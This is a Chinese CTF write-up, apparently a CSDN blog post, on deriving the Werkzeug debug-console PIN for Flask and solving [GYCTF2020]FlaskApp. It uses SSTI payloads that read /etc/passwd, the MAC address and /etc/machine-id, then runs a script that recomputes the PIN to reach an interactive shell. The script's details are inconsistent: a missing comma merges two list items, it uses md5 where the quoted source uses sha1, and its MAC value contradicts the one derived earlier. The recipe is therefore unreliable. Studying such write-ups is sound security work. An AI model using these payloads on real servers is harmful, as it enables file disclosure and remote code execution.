• 初探flask debug生成pin码


    基础知识

    当python的web应用没有关闭debug模式,相当于给攻击者留下后门,比如说通过报错信息返回部分源码可供代码审计,有时也会返回当前py文件的绝对路径,另外,如果我们进入到debug调试页面,就可以拿到python的交互式shell,执行任意代码。(下文例子有充分体验)然而我们要进入调试页面,需要输入pin码。

    什么是pin码

    pin是Werkzeug提供的安全措施,另外加的一层保障,不知道pin码是无法进入调试器的。(Werkzeug简单来说就是一个工具包,flask框架就是Werkzeug为底层库开发的)pin码是满足一定的生成算法,所以才有研究的必要,无论重复启动多少次程序,生成的pin码是不变的,但是Werkzeug和python版本的不同会影响pin码的生成。

    探究pin码的生成方法

    由于自身python代码审计能力欠缺,本文侧重点不在于探究Pin码生成算法的底层原理,而是在面对求pin码的ctf题目中能够有思路解决。

    开启一个简单的flask程序。

    1. from flask import Flask
    2. app = Flask(__name__)
    3. @app.route("/")
    4. def hello():
    5. return "hello!"
    6. if __name__ == '__main__':
    7. app.run(host="0.0.0.0",port=8000,debug=True)

    开启成功后在run.app下断点,进行调试。点击步入,进入app.py。

    因为pin码是Werkzeug添加的安全措施,所以在源码中找到导入了Werkzeug的部分。全局搜索,发现在Werkzeug中调用了run_simple。

     我们ctrl加点击进入这个函数里,然后进入到了seving.py文件中,找到有关创建debug的部分,这里在debug中又导入了DebuggedApplication。

     继续跟进,来到了__init__.py。找到pin函数。

    进入get_pin_and_cookie_name函数。就来到了pin码生成的具体实现方法。

    1. def get_pin_and_cookie_name(
    2. app: "WSGIApplication",
    3. ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    4. """Given an application object this returns a semi-stable 9 digit pin
    5. code and a random key. The hope is that this is stable between
    6. restarts to not make debugging particularly frustrating. If the pin
    7. was forcefully disabled this returns `None`.
    8. Second item in the resulting tuple is the cookie name for remembering.
    9. """
    10. pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    11. rv = None
    12. num = None
    13. # Pin was explicitly disabled
    14. if pin == "off":
    15. return None, None
    16. # Pin was provided explicitly
    17. if pin is not None and pin.replace("-", "").isdigit():
    18. # If there are separators in the pin, return it directly
    19. if "-" in pin:
    20. rv = pin
    21. else:
    22. num = pin
    23. modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    24. username: t.Optional[str]
    25. try:
    26. # getuser imports the pwd module, which does not exist in Google
    27. # App Engine. It may also raise a KeyError if the UID does not
    28. # have a username, such as in Docker.
    29. username = getpass.getuser()
    30. except (ImportError, KeyError):
    31. username = None
    32. mod = sys.modules.get(modname)
    33. # This information only exists to make the cookie unique on the
    34. # computer, not as a security feature.
    35. probably_public_bits = [
    36. username,
    37. modname,
    38. getattr(app, "__name__", type(app).__name__),
    39. getattr(mod, "__file__", None),
    40. ]
    41. # This information is here to make it harder for an attacker to
    42. # guess the cookie name. They are unlikely to be contained anywhere
    43. # within the unauthenticated debug page.
    44. private_bits = [str(uuid.getnode()), get_machine_id()]
    45. h = hashlib.sha1()
    46. for bit in chain(probably_public_bits, private_bits):
    47. if not bit:
    48. continue
    49. if isinstance(bit, str):
    50. bit = bit.encode("utf-8")
    51. h.update(bit)
    52. h.update(b"cookiesalt")
    53. cookie_name = f"__wzd{h.hexdigest()[:20]}"
    54. # If we need to generate a pin we salt it a bit more so that we don't
    55. # end up with the same value and generate out 9 digits
    56. if num is None:
    57. h.update(b"pinsalt")
    58. num = f"{int(h.hexdigest(), 16):09d}"[:9]
    59. # Format the pincode in groups of digits for easier remembering if
    60. # we don't have a result yet.
    61. if rv is None:
    62. for group_size in 5, 4, 3:
    63. if len(num) % group_size == 0:
    64. rv = "-".join(
    65. num[x : x + group_size].rjust(group_size, "0")
    66. for x in range(0, len(num), group_size)
    67. )
    68. break
    69. else:
    70. rv = num
    71. return rv, cookie_name

    这个返回的rv就是pin码,我们不需要去看懂这些代码,这个函数的关键就是将列表的值进行hash,所以我们只需要将列表中的值添加,然后运行即可得出pin码。

    那么想要生成pin码就需要以下几种要素:

    1. username:通过getpass.getuser()读取,通过文件读取/etc/passwd
    2. modname:默认就是flask.app,通过getattr(mod,“file”,None)读取
    3. appname:默认Flask,通过getattr(app,“name”,type(app).name)读取
    4. moddir:当前网络mac地址,通过/sys/class/net/eth0/address读取
    5. uuidnode:
    6. machine_id:由三个合并(docker环境为后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

    获取以上的信息添加到列表中,运行一遍函数,即可得到pin码,接下来通过buu的一道题目深切体会一遍。

    [GYCTF2020]FlaskApp

    打开题目是一个base64加密解密的网站,在解密功能中输入错误信息发生报错。同时若开启命令行需要pin码。

    在本题只谈论预期解(求pin码)。同时在解密功能上也有ssti漏洞,比如{{2+2}},页面返回为4。

    但是常规的ssti执行命令在这题是不可取的,有waf。但是可以读取系统文件,比如/etc/passwd,那么payload为:

    {{a.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}

    然后base64编码,点击提交:

    那么就通过ssti漏洞读取生成pin码所需要的几种要素。

    username:通过读取到了/etc/passwd,不难发现用户名就为flaskweb。

    app.py的绝对路径:可以通过报错信息获得,绝对路径为/usr/local/lib/python3.7/site-packages/flask/app.py。

    当前机器的mac地址:通过读取/sys/class/net/eth0/address来获取mac的十六进制。payload为

    {{a.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read()}}

    得到的十六进制为42:b6:25:62:b6:ac,可以通过这行python代码转十进制:

    print(int('42b62562b6ac',16))

    转换十进制为73350078707372。

    机器id:buu题目应该是docker搭建的。读取/proc/self/cgroup。payload为:

    {{a.__init__.__globals__['__builtins__'].open('/proc/self/cgroup').read()}}

    而机器id就是/docker/后面的一串。但是本题并不是这样,试了好久,并不能获得真正的机器id

    而是要读取/etc/machine-id,所以真正的payload为

    {{a.__init__.__globals__['__builtins__'].open('/etc/machine-id').read()}}

    所以机器id就是1408f836b0ca514d796cbf8960e45fa1

    以上生成pin的关键要素已经收集完毕。把上面get_pin_and_cookie_name函数实现方法修改一下列表值,最后添加print函数将pin码打印出来。所以脚本如下

    1. import hashlib
    2. from itertools import chain
    3. probably_public_bits = [
    4. 'flaskweb' # username
    5. 'flask.app', # modname
    6. 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    7. '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    8. ]
    9. private_bits = [
    10. '253462484137374', # str(uuid.getnode()), /sys/class/net/ens33/address
    11. '1408f836b0ca514d796cbf8960e45fa1' # get_machine_id(), /etc/machine-id
    12. ]
    13. h = hashlib.md5()
    14. for bit in chain(probably_public_bits, private_bits):
    15. if not bit:
    16. continue
    17. if isinstance(bit, str):
    18. bit = bit.encode('utf-8')
    19. h.update(bit)
    20. h.update(b'cookiesalt')
    21. cookie_name = '__wzd' + h.hexdigest()[:20]
    22. num = None
    23. if num is None:
    24. h.update(b'pinsalt')
    25. num = ('%09d' % int(h.hexdigest(), 16))[:9]
    26. rv = None
    27. if rv is None:
    28. for group_size in 5, 4, 3:
    29. if len(num) % group_size == 0:
    30. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
    31. for x in range(0, len(num), group_size))
    32. break
    33. else:
    34. rv = num
    35. print(rv)

    运行得到pin码为150-047-229。输入pin码成功登录。可执行shell,

    那么开始读取flag。用os.system貌似不行,用os.popen函数读取。

    成功得到flag。

    至此我们对获取pin码和通过pin码拿到shell有了初步的认识,今后遇到相关题目继续总结。

    相关链接:

    https://blog.csdn.net/qq_38154820/article/details/126113468

    [GYCTF2020]FlaskApp 1(SSTI,PIN)_满月*的博客-CSDN博客

  • 相关阅读:
    js--解决工厂创建对象的缺点---使用构造函数
    Redis持久化
    Prime Path(广度优先搜索)
    浪漫七夕—很幸运一路有你
    【超万卡GPU集群关键技术深度分析 2024】_构建10万卡gpu集群的技术挑战
    Stable Diffusion - StableDiffusion WebUI 软件升级与扩展兼容
    如何看待AIGC技术?未来已来,请做好准备!
    乐队现场如何播放PROGRAM以及VJ视频 ?M-Live“B Beat”取代了我使用10年的PGM机器
    神经网络结构图怎么看的,神经网络结果图如何看
    HM-RocketMQ2.7【整体联调、项目优化】
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/126471053